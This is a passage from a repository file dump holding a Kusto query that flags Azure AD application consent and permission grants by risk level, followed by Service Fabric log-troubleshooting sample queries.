    "content": "// MIT License\n//\n// Copyright (c) 2022 Jose Sebastián Canós\n//\n// Permission is hereby granted, free of charge, to any person obtaining a copy\n// of this software and associated documentation files (the \"Software\"), to deal\n// in the Software without restriction, including without limitation the rights\n// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n// copies of the Software, and to permit persons to whom the Software is\n// furnished to do so, subject to the following conditions:\n//\n// The above copyright notice and this permission notice shall be included in all\n// copies or substantial portions of the Software.\n//\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n// SOFTWARE.\n//\n//let query_frequency = 1h;\nlet query_period = 90d;\nlet _ConsentRiskDictionary = toscalar(\n    _GetWatchlist('Permission-AzurePermissions')\n    | summarize take_anyif(ConsentRisk, isnotempty(ConsentRisk)) by PermissionName\n    | summarize make_bag(pack(PermissionName, ConsentRisk))\n);\nlet _ConsentToApplication =\n    AuditLogs\n    | where TimeGenerated > ago(query_period)\n    | where OperationName has \"Consent to application\"\n    | extend\n        Actor = tostring(InitiatedBy.user.userPrincipalName),\n        ActorId = tostring(InitiatedBy.user.id),\n        ActorIPAddress = tostring(InitiatedBy.user.ipAddress)\n    | mv-expand TargetResource = TargetResources\n    | extend\n        AppDisplayName = tostring(TargetResource.displayName),\n        AppServicePrincipalId = tostring(TargetResource.id)\n    | mv-apply Properties = TargetResource.modifiedProperties on (\n        summarize BagToUnpack = make_bag(pack(tostring(Properties.displayName), pack(\"oldValue\", Properties.oldValue, \"newValue\", Properties.newValue)))\n    )\n    | evaluate bag_unpack(BagToUnpack, columnsConflict='replace_source')\n    | extend\n        AdminConsent = trim(@'[\\\"\\s]+', tostring(column_ifexists(\"ConsentContext.IsAdminConsent\", dynamic(null)).newValue)),\n        OnBehalfOfAllUsers = trim(@'[\\\"\\s]+', tostring(column_ifexists(\"ConsentContext.OnBehalfOfAll\", dynamic(null)).newValue)),\n        AppId = extract(@\"([a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12})\", 1, trim(@'[\\\"\\s]+', tostring(column_ifexists(\"TargetId.ServicePrincipalNames\", dynamic(null)).newValue))),\n        Permissions = extract_all(@\"PrincipalId: ([a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12})?, ResourceId: ([a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}), ConsentType:\\s+(\\w+), Scope:\\s+([^,]+)\", extract(@\"\\=\\>\\s+(.*)\", 1, tostring(column_ifexists(\"ConsentAction.Permissions\", \"\"))))\n    | mv-apply Permissions on (\n        extend\n            TargetId = tostring(Permissions[0]),\n            PermissionsResourceId = tostring(Permissions[1]),\n            ConsentType = tostring(Permissions[2]),\n            Scope = split(Permissions[3], ' ')\n        | mv-expand Scope\n        | summarize Permissions = array_sort_asc(make_set(Scope)) by ConsentType, TargetId, PermissionsResourceId\n    )\n    | extend Target = iff(TargetId == ActorId, Actor, \"\")\n;\nlet _DelegatedPermissionGrant =\n    AuditLogs\n    | where TimeGenerated > ago(query_period)\n    | where OperationName has (\"Add delegated permission grant\")\n    | extend\n        Actor = tostring(InitiatedBy.user.userPrincipalName),\n        ActorId = tostring(InitiatedBy.user.id),\n        ActorIPAddress = tostring(InitiatedBy.user.ipAddress)\n    | mv-expand TargetResource = TargetResources\n    | where array_length(TargetResource.modifiedProperties) > 0\n    | extend\n        PermissionsResourceDisplayName = tostring(TargetResource.displayName),\n        PermissionsResourceId = tostring(TargetResource.id)\n    | mv-apply Properties = TargetResource.modifiedProperties on (\n        summarize BagToUnpack = make_bag(pack(tostring(Properties.displayName), pack(\"oldValue\", Properties.oldValue, \"newValue\", Properties.newValue)))\n    )\n    | evaluate bag_unpack(BagToUnpack, columnsConflict='replace_source')\n    | extend\n        ConsentType = trim(@'[\\\"\\s]+', tostring(column_ifexists(\"DelegatedPermissionGrant.ConsentType\", dynamic(null)).newValue)),\n        Permissions = array_sort_asc(split(trim(@'[\\\"\\s]+', tostring(column_ifexists(\"DelegatedPermissionGrant.Scope\", dynamic(null)).newValue)), \" \")),\n        AppServicePrincipalId = trim(@'[\\\"\\s]+', tostring(column_ifexists(\"ServicePrincipal.ObjectID\", dynamic(null)).newValue))\n    | extend\n        Target = iff(ConsentType == \"Principal\", Actor, \"\"),\n        TargetId = iff(ConsentType == \"Principal\", ActorId, \"\")\n;\nlet _AppRoleAssignmentUser =\n    AuditLogs\n    | where TimeGenerated > ago(query_period)\n    | where OperationName has (\"Add app role assignment grant to user\")\n    | where not(Result == \"failure\" and ResultDescription == \"Microsoft.Online.DirectoryServices.UniqueKeyPropertyException\")\n    | extend\n        Actor = tostring(InitiatedBy.user.userPrincipalName),\n        //ActorId = tostring(InitiatedBy.user.id),\n        ActorIPAddress = tostring(InitiatedBy.user.ipAddress)\n    | mv-expand TargetResource = TargetResources\n    | where array_length(TargetResource.modifiedProperties) > 0\n    | extend\n        AppDisplayName = tostring(TargetResource.displayName),\n        AppServicePrincipalId = tostring(TargetResource.id)\n    | mv-apply Properties = TargetResource.modifiedProperties on (\n        summarize BagToUnpack = make_bag(pack(tostring(Properties.displayName), pack(\"oldValue\", Properties.oldValue, \"newValue\", Properties.newValue)))\n    )\n    | evaluate bag_unpack(BagToUnpack, columnsConflict='replace_source')\n    | extend\n        Target = trim(@'[\\\"\\s]+', tostring(column_ifexists(\"User.UPN\", dynamic(null)).newValue)),\n        TargetId = trim(@'[\\\"\\s]+', tostring(column_ifexists(\"User.ObjectID\", dynamic(null)).newValue))\n;\nlet _AppRoleAssignmentServicePrincipal =\n    AuditLogs\n    | where TimeGenerated > ago(90d)\n    | where OperationName has (\"Add app role assignment to service principal\")\n    | where not(Result == \"failure\" and ResultDescription == \"Microsoft.Online.DirectoryServices.UniqueKeyPropertyException\")\n    | extend\n        Actor = tostring(InitiatedBy.user.userPrincipalName),\n        //ActorId = tostring(InitiatedBy.user.id),\n        ActorIPAddress = tostring(InitiatedBy.user.ipAddress)\n    | mv-expand TargetResource = TargetResources\n    | where array_length(TargetResource.modifiedProperties) > 0\n    | extend\n        PermissionsResourceDisplayName = tostring(TargetResource.displayName),\n        PermissionsResourceId = tostring(TargetResource.id)\n    | mv-apply Properties = TargetResource.modifiedProperties on (\n        summarize BagToUnpack = make_bag(pack(tostring(Properties.displayName), pack(\"oldValue\", Properties.oldValue, \"newValue\", Properties.newValue)))\n    )\n    | evaluate bag_unpack(BagToUnpack, columnsConflict='replace_source')\n    | extend\n        AppDisplayName = trim(@'[\\\"\\s]+', tostring(column_ifexists(\"ServicePrincipal.DisplayName\", dynamic(null)).newValue)),\n        AppServicePrincipalId = trim(@'[\\\"\\s]+', tostring(column_ifexists(\"ServicePrincipal.ObjectID\", dynamic(null)).newValue)),\n        AppRole = trim(@'[\\\"\\s]+', tostring(column_ifexists(\"AppRole.Value\", dynamic(null)).newValue))\n    | summarize Permissions = array_sort_asc(make_set(AppRole)), arg_min(TimeGenerated, *) by AppServicePrincipalId, CorrelationId, Result, PermissionsResourceId\n    | extend\n        ConsentType = \"Application\",\n        Target = AppDisplayName,\n        AdminConsent = \"True\"\n;\nunion isfuzzy=true _AppRoleAssignmentServicePrincipal, _AppRoleAssignmentUser, _DelegatedPermissionGrant, _ConsentToApplication\n| project TimeGenerated, Actor, ActorIPAddress, OperationName, Result, AppDisplayName, Target, AdminConsent, OnBehalfOfAllUsers, ConsentType, Permissions, PermissionsResourceDisplayName, AppServicePrincipalId, CorrelationId, InitiatedBy, AdditionalDetails, TargetResources, PermissionsResourceId, TargetId\n| as Results\n| project-away PermissionsResourceDisplayName\n| lookup kind=leftouter (\n    Results\n    | distinct PermissionsResourceDisplayName, PermissionsResourceId\n    | where isnotempty(PermissionsResourceDisplayName) and isnotempty(PermissionsResourceId)\n) on PermissionsResourceId\n| lookup kind=leftouter (\n    Results\n    | distinct AppDisplayName, AppServicePrincipalId\n    | where isnotempty(AppDisplayName) and isnotempty(AppServicePrincipalId)\n    | project-rename Secondary_AppDisplayName = AppDisplayName\n) on $left.PermissionsResourceId == $right.AppServicePrincipalId\n| extend\n    AppDisplayName = iff(isempty(AppDisplayName) and isnotempty(Secondary_AppDisplayName), Secondary_AppDisplayName, AppDisplayName),\n    AppServicePrincipalId = iff(isempty(AppDisplayName) and isnotempty(Secondary_AppDisplayName), PermissionsResourceId, AppServicePrincipalId)\n| project-away Secondary_AppDisplayName\n| mv-apply Permission = Permissions to typeof(string) on (\n    where isnotempty(Permission)\n    | extend ConsentRisk = iff(bag_has_key(_ConsentRiskDictionary, Permission), _ConsentRiskDictionary[Permission] , \"UnknownPermission\")\n    | extend ConsentRisk = iff(isempty(ConsentRisk), \"UnknownRisk\", ConsentRisk)\n    | summarize ConsentRisks = make_set(ConsentRisk), PermissionsExtended = make_bag(pack(Permission, ConsentRisk))\n)\n| extend\n    ConsentRisks = iff(isempty(Permissions), dynamic(null), ConsentRisks),\n    Permissions = iff(isempty(Permissions), dynamic(null), PermissionsExtended)\n| project-away PermissionsExtended\n//| where TimeGenerated > ago(query_frequency)\n| summarize\n    TimeGenerated = min(TimeGenerated),\n    take_any(Actor, ActorIPAddress, Target, InitiatedBy),\n    Operations = make_bag(pack(OperationName, Result)),\n    take_anyif(AppDisplayName, isnotempty(AppDisplayName)),\n    take_anyif(AdminConsent, not(AdminConsent in (\"\", \"False\"))),\n    take_anyif(OnBehalfOfAllUsers, not(OnBehalfOfAllUsers in (\"\", \"False\"))),\n    take_anyif(ConsentType, isnotempty(ConsentType)),\n    Permissions = make_bag(pack(PermissionsResourceDisplayName, Permissions)),\n    ConsentRisks = make_set_if(ConsentRisks, isnotempty(ConsentRisks)),\n    AdditionalDetails = make_bag(pack(OperationName, AdditionalDetails)),\n    TargetResources = make_bag(pack(OperationName, TargetResources)),\n    PermissionsResourceIds = make_set_if(PermissionsResourceId, isnotempty(PermissionsResourceId))\n    by AppServicePrincipalId, CorrelationId, TargetId\n| extend AlertSeverity = case(\n    isempty(ConsentRisks), \"Medium\",\n    ConsentRisks has_any (\"UnknownPermission\", \"UnknownRisk\", \"High\"), \"High\",\n    ConsentRisks has \"Medium\", \"Medium\",\n    ConsentRisks has \"Low\", \"Low\",\n    \"High\"\n)\n| project TimeGenerated, Actor, ActorIPAddress, Operations, AppDisplayName, Target, AdminConsent, OnBehalfOfAllUsers, ConsentType, Permissions, ConsentRisks, AppServicePrincipalId, CorrelationId, InitiatedBy, AdditionalDetails, TargetResources, PermissionsResourceIds, TargetId, AlertSeverity\n"
  },
  {
    "path": "samples/Kusto/example-create-sflogs-table.csl",
    "content": "// NodeName and LogType are *not* currently part of CSV data located in sflogs storage account dtr.zip\n// these fields are generated manually from collectsfdata at time of ingest based on blob path\n\n.create table ['trace_serviceFabricLogs'] (Timestamp: datetime, Level: string, TID: int, PID: int, Type: string, Text: string, NodeName: string, LogType: string) "
  },
  {
    "path": "samples/Kusto/examples_traces.csl",
    "content": "//For Building Regex patterns, try https://regex101.com/\n\n\n// CM Application Upgrades\nlet appName = @'fabric:/NotificationProcessorServiceApplication';\nlet exclusion1 = @'Phase=NotStarted';\nyour_tablename_here\n| where Type contains @'CM.' \n    or (Type contains strcat(@'HM.Entity_QueryCompleted@', appName))\n| where Type contains @'Start'\n    or Type contains @'End' \n    or Type contains @'upgrade domain completed'   \n    or Type contains strcat(@'ApplicationUpgradeDomainComplete@', appName)\n    or Text contains @'Phase='\n    or Text contains @'failed'\n    or ((Type contains strcat(@'HM.Entity_QueryCompleted@', appName)) and (Text matches regex strcat('(?i:',@'is in Error',')') or Text matches regex strcat('(?i:',@'is in Warning',')')))\n| where Type !contains exclusion1 and Text !contains exclusion1\n| project Timestamp , TID , PID , NodeName , Level , Type , Text , FileType\n| order by Timestamp asc\n| limit 5000\n\n\n//HM Query (show services in error, extract partitionid's)\nlet filterPattern = @'HM.Entity_QueryCompleted@(fabric):\\/([\\w_-]+)\\/([\\w_-]+)';\nlet extractPattern_PartitionStats = @'(Partition:)\\sok:\\d+\\/w:\\d+\\/e:\\d+';\nlet extractPattern_ReplicaStats = @'(Replica:)\\sok:\\d+\\/w:\\d+\\/e:\\d+';\nlet extractPattern_PartitionId = @\"(Partition\\s\\'[a-z0-9]{8}\\-[a-z0-9]{4}\\-[a-z0-9]{4}\\-[a-z0-9]{4}\\-[a-z0-9]{12})\";\nlet extractPattern_ServiceName = @'(fabric):\\/([\\w_-]+)\\/([\\w_-]+)';\nyour_tablename_here\n| where Type contains @'HM.Entity_QueryCompleted'\n| where Type matches regex filterPattern\n  and (Text matches regex strcat('(?i:',@'is in Error',')') or Text matches regex strcat('(?i:',@'is in Warning',')'))\n| extend partitionStats = extract(extractPattern_PartitionStats, 0, Text, typeof(string))\n| extend replicaStats = extract(extractPattern_ReplicaStats, 0, Text, typeof(string))\n| extend serviceName = extract(extractPattern_ServiceName, 0, Text, typeof(string))\n| extend partitionId = extract_all(extractPattern_PartitionId, Text)\n| project Timestamp , TID , PID , NodeName , Level , Type , Text , FileType, partitionStats, replicaStats, serviceName, partitionId\n| order by Timestamp asc\n| limit 5000\n\n//HM Query (show code packages in error, program, arguments, servicepackageid)\nlet filterPattern = @'HM.Entity_QueryCompleted@(fabric):\\/([\\w_-]+)\\/([\\w_-]+)';\nlet extractPattern_ServiceName = @'(fabric):\\/([\\w_-]+)\\+([\\w_-]+)';\nlet extractPattern_ExitCode = @'(exit code:)(\\d+)';\nlet extractPattern_ErrorCode = @'(ErrorCode=)(.+?[^,]*)';\nlet extractPattern_Program = @'(Program\\s=\\s)(.+?\\.[^.,]*)';\nlet extractPattern_Arguments = @'(Arguments\\s=\\s)([^,]*)';\nlet extractPattern_ServicePackageInstanceId = @'(ServicePackageInstanceId\\s=\\s)(.+?[^,]*)';\nlet extractPattern_ = @'';\nyour_tablename_here\n| where Text contains \"CodePackage\" and Text contains \"error\"\n| where Text contains \"ErrorCode=FABRIC_E\" or Text contains \"There was an error\" or Text contains \"terminated with exitcode\"\n| extend serviceName = extract(extractPattern_ServiceName, 0, Text, typeof(string))\n| extend exitCode = extract(extractPattern_ExitCode, 2, Text, typeof(string))\n| extend errorCode = extract(extractPattern_ErrorCode, 2, Text, typeof(string))\n| extend program = extract(extractPattern_Program, 2, Text, typeof(string))\n| extend arguments = extract(extractPattern_Arguments, 2, Text, typeof(string))\n| extend servicePackageId = extract(extractPattern_ServicePackageInstanceId, 2, Text, typeof(string))\n| project Timestamp , TID , PID , NodeName , Level , Type , Text , FileType, serviceName, exitCode, errorCode, program, arguments, servicePackageId\n| order by Timestamp asc\n| limit 5000\n\n// FM Application Upgrades\nlet appName = @'fabric:/';\nyour_tablename_here\n| where Type contains @'FM.AppUpgrade'\n| where Text matches regex strcat('(?i:',@'accepted',')')  \n    or Text matches regex strcat('(?i:',@'and moving to',')')  \n    or Text matches regex strcat('(?i:',@'Starting',')')   \n| project Timestamp , TID , PID , NodeName , Level , Type , Text , FileType\n| order by Timestamp asc\n| limit 5000\n\n// CM Application Upgrades\nlet appName = @'fabric:/NotificationProcessorServiceApplication';\nlet exclusion1 = @'Phase=NotStarted';\nyour_tablename_here\n| where Type contains @'CM.' \n    or (Type contains strcat(@'HM.Entity_QueryCompleted@', appName))\n| where Type contains @'Start'\n    or Type contains @'End' \n    or Type contains @'upgrade domain completed'   \n    or Type contains strcat(@'ApplicationUpgradeDomainComplete@', appName)\n    or Text contains @'Phase='\n    or Text contains @'failed'\n    or ((Type contains strcat(@'HM.Entity_QueryCompleted@', appName)) and (Text matches regex strcat('(?i:',@'is in Error',')') or Text matches regex strcat('(?i:',@'is in Warning',')')))\n| where Type !contains exclusion1 and Text !contains exclusion1\n| project Timestamp , TID , PID , NodeName , Level , Type , Text , FileType\n| order by Timestamp asc\n| limit 5000\n\n// regex example with string match 'exception', case insensitive\nlet filterPattern1 = @'exception';\nlet regexPattern1 = strcat('(?i:',filterPattern1,')'); // re2 case insensitive\nyour_tablename_here\n| where Type matches regex regexPattern1 or Text matches regex regexPattern1 \n| where Level !contains \"Informational\"\n| project Timestamp , TID , PID , NodeName , Level , Type , Text , FileType\n| order by Timestamp asc\n| limit 5000\n\n// display Types that are not informational (e.g. type~W|E)\nlet exclusion1 = \"chaos\";\nyour_tablename_here\n| order by Timestamp asc\n| where Level !contains \"info\" and Level !contains \"unknown\" and Level !contains \"verbose\"\n| where Type !contains exclusion1 and Text !contains exclusion1\n| project Timestamp , TID , PID , Level , Type , Text , NodeName , FileType\n| limit 5000\n//| summarize count() by xtime=bin(Timestamp,1m), NodeName\n//| render timechart;\n\n// ReverseProxy returns status code \nlet extractPattern_StatusCode = @'(status code\\s=\\s)(\\d+)';\nyour_tablename_here\n| where Type contains \"ReverseProxy\"\n| where Text contains \"status code\"\n| extend statusCode = extract(extractPattern_StatusCode, 2, Text, typeof(string))\n| project Timestamp , TID , PID , Level , Type , Text , NodeName , FileType, statusCode\n| limit 5000\n\n// ReverseProxy returns status code\nlet extractPattern_requestId = @'([a-z0-9]{8}\\-[a-z0-9]{4}\\-[a-z0-9]{4}\\-[a-z0-9]{4}\\-[a-z0-9]{12})';\nlet extractPattern_StatusCode = @'(status code\\s=\\s)(\\d+)';\nyour_tablename_here\n| where Type contains \"ReverseProxy\"\n| where Text contains \"status code\"\n| extend requestId = extract(extractPattern_requestId, 1, Text, typeof(string))\n| extend statusCode = extract(extractPattern_StatusCode, 2, Text, typeof(string))\n| project Timestamp , TID , PID , Level , Type , Text , NodeName , FileType, statusCode, requestId\n| limit 5000\n| summarize count() by requestId\n| order by count_\n//| summarize count() by xtime=bin(Timestamp,1m), requestId \n//| render timechart;\n\n// ReverseProxy, investigate by requestId\nlet filterPattern_requestId = @'106dcdd4-01e6-4497-bf47-577d94964649';\nlet extractPattern_requestId = @'([a-z0-9]{8}\\-[a-z0-9]{4}\\-[a-z0-9]{4}\\-[a-z0-9]{4}\\-[a-z0-9]{12})';\nlet extractPattern_ServiceUrl = @'((?:https?:\\/\\/[^,?]*))';\nyour_tablename_here\n| extend requestId = extract(extractPattern_requestId, 1, Text, typeof(string))\n| extend serviceUrl = extract_all(extractPattern_ServiceUrl, Text)\n| where Type contains \"ReverseProxy\"\n| where Text !contains \"status code\"\n| where Type contains filterPattern_requestId or Text contains filterPattern_requestId\n| project Timestamp , TID , PID , Level , Type , Text , NodeName , FileType, requestId, serviceUrl\n| limit 5000\n| order by Timestamp asc\n//| summarize count() by tostring(serviceUrl)\n//| where count_ > 5\n//| render timechart;\n\n// ReverseProxy by URL\nlet extractPattern_requestId = @'([a-z0-9]{8}\\-[a-z0-9]{4}\\-[a-z0-9]{4}\\-[a-z0-9]{4}\\-[a-z0-9]{12})';\nlet extractPattern_ServiceUrl = @'((?:https?:\\/\\/[^,?]*))';\nlet extractPattern_Verb = @'(verb\\s=\\s)([^,]*)';\nlet extractPattern_Started = @'';\nlet extractPattern_Finished = @'';\nyour_tablename_here\n| where Type contains \"ReverseProxy\"\n| where Text !contains \"status code\"\n| extend requestId = extract(extractPattern_requestId, 1, Text, typeof(string))\n| extend serviceUrl = extract_all(extractPattern_ServiceUrl, Text)\n| extend verb = extract(extractPattern_Verb, 2, Text, typeof(string))\n| project Timestamp , TID , PID , Level , Type , Text , NodeName , FileType, requestId, serviceUrl, verb\n| limit 5000\n| order by Timestamp asc\n//| summarize count() by requestId\n//| where count_ > 1\n//| summarize count() by xtime=bin(Timestamp,10s), tostring(serviceUrl)\n//| where count_ > 5\n//| render timechart;\n\n// ReverseProxy, Count by distinct URL\nlet extractPattern_requestId = @'([a-z0-9]{8}\\-[a-z0-9]{4}\\-[a-z0-9]{4}\\-[a-z0-9]{4}\\-[a-z0-9]{12})';\nlet extractPattern_ServiceUrl = @'((?:https?:\\/\\/[^,?]*))';\nlet extractPattern_Verb = @'(verb\\s=\\s)([^,]*)';\nlet extractPattern_Started = @'';\nlet extractPattern_Finished = @'';\nyour_tablename_here\n| where Type contains \"ReverseProxy\"\n| where Text !contains \"status code\"\n| extend requestId = extract(extractPattern_requestId, 1, Text, typeof(string))\n| extend serviceUrl = extract_all(extractPattern_ServiceUrl, Text)\n| extend verb = extract(extractPattern_Verb, 2, Text, typeof(string))\n| project Timestamp , TID , PID , Level , Type , Text , NodeName , FileType, requestId, serviceUrl, verb\n| limit 5000\n| order by tostring(serviceUrl)\n| summarize count() by tostring(serviceUrl)\n| order by count_\n\n\n// ReverseProxy, Track numner of requests handled at reverse proxy\nyour_tablename_here\n| where Type contains \"ReverseProxy.RequestReceived\"\n| limit 5000\n| summarize count() by xtime=bin(Timestamp,60s)\n| render timechart;\n\n// ReverseProxy, Track numner of requests handled at reverse proxy\nlet extractPattern_ServiceUrl = @'((?:https?:\\/\\/[^,?]*))';\nyour_tablename_here\n| where Type contains \"ReverseProxy.RequestReceived\"\n| extend serviceUrl = extract_all(extractPattern_ServiceUrl, Text)\n| limit 5000\n| summarize count() by xtime=bin(Timestamp,60s), tostring(serviceUrl)\n| render timechart;\n\n// Remoting, Check if customer was creating multiple ClientFactories which can lead to High MEM and CPU\nlet extractPattern_partitionId = @'([a-z0-9]{8}\\-[a-z0-9]{4}\\-[a-z0-9]{4}\\-[a-z0-9]{4}\\-[a-z0-9]{12})';\nyour_tablename_here\n| where Type contains \"ClientFactory\" \n| where Text contains \"Invalid Client Rsp found in Cache\"\n| extend partitionId = extract(extractPattern_partitionId, 1, Text, typeof(string))\n| summarize count() by PID, partitionId\n| where count_ >1\n| limit 5000\n\n// Remoting, Check if we are seeing retry requests (6.5 runtime)\nlet extractPattern_partitionId = @'([a-z0-9]{8}\\-[a-z0-9]{4}\\-[a-z0-9]{4}\\-[a-z0-9]{4}\\-[a-z0-9]{12})';\nyour_tablename_here\n| where Type contains \"ServicePartitionClient\" or (Type contains \"ClientFactory\" and Text contains \"Invalid\")\n| extend partitionId = extract(extractPattern_partitionId, 1, Text, typeof(string))\n//| summarize count() by PID, partitionId\n| limit 5000\n\n// FM Partition\nlet filterPattern_partitionId = @'0695ac22-b06c-47b3-bb99-a743d5a58f66';\nyour_tablename_here\n| where (Type contains strcat(\"FM.Background_FTUpdate@\", filterPattern_partitionId)) \n     or (Type startswith \"FM.\" and Type contains filterPattern_partitionId)\n| limit 1000\n\n// Native Transport taking long time to send the request over the wire\n// Remoting, we can correlate clientfactory traces and resolve traces based on thread and time request issued.\n// Get the service name for which request was being made. If possible also the partition Id for which request was being made.\n// (Type~\"BeginResolve\" && ~\"StateStore\") || type~\"ClientFactory\" && ~\"6eaed5c3-a5cc-4e64-8a3a-1c9a05bab074\" || type~\"Enqueue\" \nlet extractPattern_partitionId = @'([a-z0-9]{8}\\-[a-z0-9]{4}\\-[a-z0-9]{4}\\-[a-z0-9]{4}\\-[a-z0-9]{12})';\nyour_tablename_here\n| where (Type contains \"BeginResolve\" and Text contains \"StateStore\") or (Type contains \"ClientFactory\" and Text contains \"bfe07486-d0a4-4ed5-b9f4-d452692ebb9b\") or (Type contains \"Enqueue\")\n| extend partitionId = extract(extractPattern_partitionId, 1, Text, typeof(string))\n//| summarize count() by PID, partitionId\n| limit 5000\n\n// FM Partition\nlet filterPattern_partitionId = @'0695ac22-b06c-47b3-bb99-a743d5a58f66';\nyour_tablename_here\n| where (Type contains strcat(\"FM.Background_FTUpdate@\", filterPattern_partitionId)) \n     or (Type startswith \"FM.\" and Type contains filterPattern_partitionId)\n| limit 1000\n\n// Transport\nlet extractPattern_TextId = @'(@)(.*)';\nlet extractPattern_requestId = @'([a-z0-9]{8}\\-[a-z0-9]{4}\\-[a-z0-9]{4}\\-[a-z0-9]{4}\\-[a-z0-9]{12})';\nyour_tablename_here\n| extend TextId = extract(extractPattern_TextId, 2, Type, typeof(string))\n| extend requestId = extract(extractPattern_requestId, 1, Text, typeof(string))\n| where Type contains \"Transport.Enqueue\" or Type contains \"Transport.Activity_Dispatch\" or Type contains \"Transport.Msg_Dispatch\" \n| order by TextId, requestId, Timestamp asc \n| limit 10000\n//| summarize count() by xtime=bin(Timestamp,60s), tostring(TextId)\n//| render timechart;\n\n// Query Transport for currently configured cluster certificate\nyour_tablename_here\n| where Type contains \"Transport.SecurityContextSsl\"\n| where Text contains \"incoming cert\" or Text contains \"usage\" or Text contains \"VerifyCertificate\"\n| limit 5000\n"
  },
  {
    "path": "samples/Kusto/kusto-example-queries.csl",
    "content": "// sf kusto examples\nsearch *\n|count\n\n//\n// show all nodes\n//\n'%kusto table name%'\n| distinct NodeName\n\n//\n// show all tables in db\n//\n.show tables\n\n//\n// drop table\n//\n.drop table '%kusto table name%'\n\n// \n// SF TRACE LOGS\n//\n\n\n// display events by time range\nlet startTime = datetime('2019-04-14T00:00');\nlet endTime = datetime('2019-05-14T00:30');\n'%kusto table name%'\n| where Text contains \"slow\"\n| where Text !contains \"FaultedDueToSlowProgress=False\"\n| where Text !contains \"SlowApiThreshold = 10.000\"\n| where Text !contains \"SlowApiMonitoringInterval = 2:00.000\"\n| where Text !contains \"Loaded property\"\n| where Text !contains \"ReplicatorConfig\"\n| order by Timestamp asc\n| where Timestamp between (startTime .. endTime)\n| limit 5000\n| project Timestamp , TID , PID , Level , Type , Text , NodeName , FileType\n| summarize count() by xtime=bin(Timestamp,1s), NodeName\n\n// display events that are not informational\nlet exclusion1 = \"chaos\";\n'%kusto table name%'\n| order by Timestamp asc\n| where Level !contains \"info\" and Level !contains \"unknown\" and Level !contains \"verbose\"\n| where Type !contains exclusion1 and Text !contains exclusion1\n| project Timestamp , TID , PID , Level , Type , Text , NodeName , FileType\n| limit 5000\n//| summarize count() by xtime=bin(Timestamp,1m), NodeName\n//| render timechart;\n\n\n// display 'fabric_e_*' events\nlet filterPattern = \"FABRIC_E_\";\nlet excludePattern = \"FABRIC_E_CONNECTION_CLOSED\"; // normal tcp connection close\nlet excludePattern2 = \"FABRIC_E_INVALID_SUBJECT_NAME\"; // noise bug to be fixed in 6.5\n'%kusto table name%'\n| order by Timestamp asc\n| where Type matches regex filterPattern or Text matches regex filterPattern\n| where Type !contains excludePattern and Text !contains excludePattern\n| where Type !contains excludePattern2 and Text !contains excludePattern2\n| project Timestamp , TID , PID , Level , Type , Text , NodeName , FileType\n| limit 5000\n\n// regex example with match extraction / extend case insensitive\n// display DNS response times in new column\nlet filterPattern = @'Dns.+Duration \\((?P<ms> \\d{2,5}) ms \\)';\n'%kusto table name%'\n| where Type matches regex filterPattern or Text matches regex filterPattern\n| extend durationMs = extract(filterPattern, 1, Text, typeof(long))\n| project Timestamp , TID , PID , NodeName , Level , Type , Text , FileType, durationMs\n| where durationMs > 30\n| order by Timestamp asc\n//| order by durationMs desc\n| limit 5000\n\n// regex example with match case insensitive\nlet filterPattern = @'lease';\nlet regexPattern = strcat('(?i:',filterPattern,')'); // re2 case insensitive\n'%kusto table name%'\n| where Type matches regex regexPattern or Text matches regex regexPattern\n//| where Type contains filterPattern or Text contains filterPattern\n//| where Type matches regex filterPattern or Text matches regex filterPattern\n| project Timestamp , TID , PID , NodeName , Level , Type , Text , FileType\n| order by Timestamp asc\n| limit 5000\n\n// \n// SF STORAGE TABLES\n//\n\n// gives similar view as storage explorer with each property split out into a separate column\nlet T = '%kusto table name%';\nlet DistinctEvents = T | distinct Timestamp, PartitionKey, RowKey;\nDistinctEvents\n    | join T on $left.Timestamp==$right.Timestamp and $left.PartitionKey==$right.PartitionKey and $left.RowKey==$right.RowKey\n    | extend propertyPack = pack(PropertyName, PropertyValue)\n    | summarize bag = make_bag(propertyPack) by Timestamp, PartitionKey, RowKey, RelativeUri\n    | evaluate bag_unpack(bag) \n    | order by Timestamp asc\n\n// blob table distinct keys\n'%kusto table name%'\n| summarize count() by PartitionKey\n| order by PartitionKey asc \n\n// blob table distinct properties\n'%kusto table name%'\n| summarize count() by PropertyName\n| order by PropertyName asc \n\n// blob table example\n'%kusto table name%'\n| where PartitionKey contains \"cm\" //todatetime('2019-02-01T22:37:59.425')\n//| where Timstamp between(todatetime('2019-02-04T04:57') .. todatetime('2019-02-04T05:01'))\n//| where * contains \"cm\"\n//| where PropertyValue contains \"W9492DevG_3\"\n| order by Timestamp asc\n| project Timestamp, TypeTimeStamp, ETag, PartitionKey, RowKey, PropertyName, PropertyValue, RelativeUri\n\n// blob table join example\n// queries sf table for cluster manager 'cm' entries\nlet t = [''%kusto table name%''];\nlet e = t| where PropertyValue contains \"cm\"; // \"nodeadded\";\ne | join (t) on RowKey, $left.RowKey == $right.RowKey\n//e | join (t |where PropertyName contains \"nodeName\") on RowKey,$left.RowKey == $right.RowKey\n| project Timestamp, PropertyValue, PropertyName1, PropertyValue1, PartitionKey, RowKey, RelativeUri\n| order by Timestamp asc, PropertyName1 asc\n\n// blob table example\n// searches kusto _table property value for string\n// joins matching node name record based on RowKey\nlet t = [''%kusto table name%''];\n//let Types = t;\nlet e = t|where PropertyValue contains \"The Data Collection Agent (DCA) does not have enough disk space to operate.\";\ne | join (t |where PropertyName contains \"nodeName\") on RowKey, $left.RowKey == $right.RowKey\n|project Timestamp, PropertyValue, PropertyValue1\n| order by Timestamp asc\n| summarize count() by xtime=bin(Timestamp,1m), PropertyValue1\n| render timechart\n\n\n// \n// SF 